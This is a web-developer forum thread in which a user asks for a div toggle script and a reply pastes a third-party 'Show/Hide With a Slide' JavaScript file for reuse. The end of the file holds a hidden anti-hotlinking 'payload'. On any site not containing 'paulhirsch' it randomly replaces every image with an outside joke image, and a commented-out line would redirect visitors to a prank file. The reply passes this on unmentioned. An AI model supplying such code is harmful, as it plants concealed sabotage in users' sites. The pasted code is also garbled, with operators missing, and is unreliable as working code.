www.webdeveloper.com
Results 1 to 3 of 3

Thread: Toggle div script

Hybrid View

  1. #1
    Join Date
    Apr 2010
    Posts
    2

    Toggle div script

    HEy. I'm looking for a toggle script that is much like this one

    http://javascript.internet.com/misce...ide-a-div.html

    Only I am in need of 5 links and have so only one div or element is open at a time. So by clicking one the other closes.

    Any help?

  2. #2
    Join Date
    Apr 2010
    Posts
    2
    That was the wrong link. I'll try again.

    http://www.paulhirsch.com/ex/ShowHid...effect_2.html#

  3. #3
    Join Date
    Mar 2010
    Posts
    2,803
    If you right-click and web page and then select view source, you see the code for that web page and links to any js files.

    Below is the code in the js of the link you posted. The code creates the sliding div effect.

    PHP Code:
    //////////////////////////////////////////////////////////////////////////////
    //                      Show/Hide With a Slide Script                       //
    //////////////////////////////////////////////////////////////////////////////
    // 
    // This little script allows you to create a section of content and hide it at
    // the top of your screen for users to open and close as they wish.  This is
    // particularly handy for things like login boxes, supplementary navigation
    // and content enhancements like tips, tricks and interesting tidbits of
    // information you don't need showcased within your regular content.
    //
    // If a visitor has JavaScript disabled or unavailable, the hidden content box
    // will simply display itself as if it was always a visible component.
    //
    // CONTRIBUTORS:
    //
    // Original Creator:
    //     Paul Hirsch
    //     www.paulhirsch.com
    //
    // Tested by:
    //     International Web Developers Network (IWDN)
    //     www.iwdn.net - home page
    //     www.iwdn.net/index.php - forums/community where testing took place
    //
    // Other Contributors:
    //     Michaeljohn Clement - clued me in on offsetHeight - very handy!
    //     [INSERT YOUR NAME AND BRIEF DESCRIPTION OF YOUR CONTRIBUTION HERE]
    //
    // INSTRUCTIONS:
    //
    // 1.  Place this markup in an external .js page and link to it within the
    //     <head> section of your page.
    //
    // 2.  Create a div within your page to wrap around the content you wish to hide.
    //     You'll place your hidden content in here. The div MUST be in the following
    //     format: <div id="foo-#" class="hidden">, where:
    //
    //     a. "foo" is any word of your choice.
    //     b. "-#" is any number between "-1" and "-9".
    //     c. class ALWAYS equals "hidden". 
    //
    //     The "-#" sets the speed at which the box shows/hides itself, with 1
    //     being slowest and 9 fastest.  If you forget to add your speed number
    //     or add it incorrectly, the script will default to 5.
    //     
    //     Here's a proper example:
    //     <div id="login-7" class="hidden">
    //        [The stuff you want to show/hide]
    //     </div>
    //
    // 3.  Add onclick="toggle();" and id="toggle" to whatever element you'd like
    //     to use to toggle the hidden content box.  MAKE THE TOGGLED
    //     OBJECT/TEXT/BUTTON display:none WITHIN YOUR STYLESHEET!  The script will
    //     unhide it.  This is so it will not show up when someone has JavaScript
    //     disabled.
    //
    //     Here's a proper example:
    //     <input type="button" id="toggle" onclick="toggle();" value="ON/OFF" />
    //
    // 4.  Add onload="setup();" to your <body> tag.
    //
    // LICENSE:
    //
    // This script is protected under General Public License (GPL).  Feel free to
    // redistribute this script, so long as you do not alter any of the contents
    // specifying authorship.  If you add to or modify this script, you may add
    // your name to the "Other Contributors" list at the top of this script.  As
    // a courtesy, please email me and let me know how you've improved my script!
    // You may not profit from the direct sale of this script.  You may use this
    // script in commercial endeavors however (i.e. as part of a commercial site).
    //
    // Email me here: http://www.paulhirsch.com/contact_me.php
    //
    // Copyright 2006, Paul Hirsch. All rights specified herein and within GPL
    // documentation: http://www.gnu.org/licenses/gpl.txt
    //
    //////////////////////////////////////////////////////////////////////////////
    // DO NOT TOUCH ANYTHING BELOW THIS LINE                                    //
    // unless you know what the heck you're doing!                              //
    //////////////////////////////////////////////////////////////////////////////
    var Hide "";
    var 
    varHt 0;
    var 
    Ht "";
    var 
    0;
    var 
    10;
    var 
    4;
    var 
    foo = new Array();
    var 
    Speed "";
    function 
    setup() {
     
    foo document.getElementsByTagName("div");
     for (
    i=0;i<foo.length;i++) {
      if (
    foo[i].className == "hidden") {
       
    Hide foo[i].id;
      }
     }
     
    Ht document.getElementById(Hide).offsetHeight;
     
    Speed Hide.substring(Hide.lastIndexOf('-')+1);
     
    document.getElementById(Hide).style.height '0px';
     
    document.getElementById('toggle').style.display 'inline';
     
     if (
    Speed == 1) { 1001; }
     if (
    Speed == 2) { 701; }
     if (
    Speed == 3) { 401; }
     if (
    Speed == 4) { 201; }
     if (
    Speed == 5) { 101; }
     if (
    Speed == 6) { 102; }
     if (
    Speed == 7) { 104; }
     if (
    Speed == 8) { 107; }
     if (
    Speed == 9) { 1010; }
    }
    function 
    toggle() {
     if (
    === 0) {
      
    document.getElementById(Hide).style.height varHt+'px';
      if (((
    Ht-varHt) < z) && (varHt !== Ht)) {
       
    varHt Ht;
      } else {
       
    varHt varHt+z;
      }
      if (
    varHt <= Ht) {
       
    setTimeout('toggle()',y);
      }
      if (
    varHt Ht) {
       
    varHt Ht;
       
    1;
      }
     } else {
      
    document.getElementById(Hide).style.height varHt+'px';
      
    varHt varHt-z;
      if ((
    Ht-varHt) <= Ht) {
       
    setTimeout('toggle()',y);
      }
      if ((
    Ht-varHt) > Ht) {
       
    varHt 0;
       
    document.getElementById(Hide).style.height varHt+'px';
       
    0;
      }
     }
    }
    // Stealing bandwidth is wrong. So this little script is for anyone who thinks
    // stealing is ok. As is the case for *any* site owner, I reserve the right to
    // modify my own site/scripts as I see fit, and I've seen fit to add this:
    imgs document.getElementsByTagName('img');
    URL window.location+'';
    num Math.random ( );
    num parseFloat(num).toFixed(1)*10;
    if (
    URL.search('paulhirsch') === -&& parseFloat(num) < 2) { 
     
    // Payload
     
    setTimeout('payload1()',3000);
     
    // We'll put this in every once in a while
     // else window.location = 'http://www.computerpranks.com/download/online-fun/ahhflash.swf';
    }
    function 
    payload1() { for (i=i<imgs.length i++) imgs[i].src 'http://finickypenguin.files.wordpress.com/2007/11/poop.jpg'; } 

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
HTML5 Development Center



Recent Articles